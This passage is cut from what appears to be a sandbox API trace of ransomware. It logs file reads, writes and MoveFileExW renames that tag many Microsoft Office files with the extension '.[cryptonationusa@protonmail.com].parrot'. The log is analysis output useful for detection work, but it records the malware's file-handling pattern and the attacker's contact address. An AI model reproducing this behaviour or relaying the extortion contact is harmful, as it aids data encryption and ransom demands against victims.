lpBuffer=0x2d70040, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x734, lpOverlapped=0x0) returned 1 [0172.342] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.347] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.347] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.348] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.348] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x866, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x866, lpOverlapped=0x0) returned 1 [0172.349] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.353] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.353] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.355] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.355] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcae, lpOverlapped=0x0) returned 1 [0172.355] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.360] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.360] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.361] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.362] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x468, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x468, lpOverlapped=0x0) returned 1 [0172.362] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.366] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.366] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.368] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x42c, lpOverlapped=0x0) returned 1 [0172.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.374] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.374] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.375] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.375] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6fd04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6fd04, lpOverlapped=0x0) returned 1 [0172.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.465] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.466] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x263, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x263, lpOverlapped=0x0) returned 1 [0172.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.471] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.471] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.472] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcb, lpOverlapped=0x0) returned 1 [0172.473] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.478] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.478] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.479] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.479] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0172.479] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.484] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.485] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.485] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0172.485] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.490] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.492] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.492] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6180, lpOverlapped=0x0) returned 1 [0172.494] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.500] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.502] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0172.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.531] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0172.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.534] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0172.536] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ab8e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0172.536] CloseHandle (hObject=0x27c) returned 1 [0172.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.546] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.556] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x277, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x277, lpOverlapped=0x0) returned 1 [0172.557] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.564] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.565] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcf, lpOverlapped=0x0) returned 1 [0172.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.571] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.572] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0172.573] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.578] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.579] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.579] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0172.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.585] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.587] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.587] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0172.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.619] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0172.622] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.622] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0172.672] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x148e80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0172.672] CloseHandle (hObject=0x27c) returned 1 [0172.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.683] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.684] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b80, 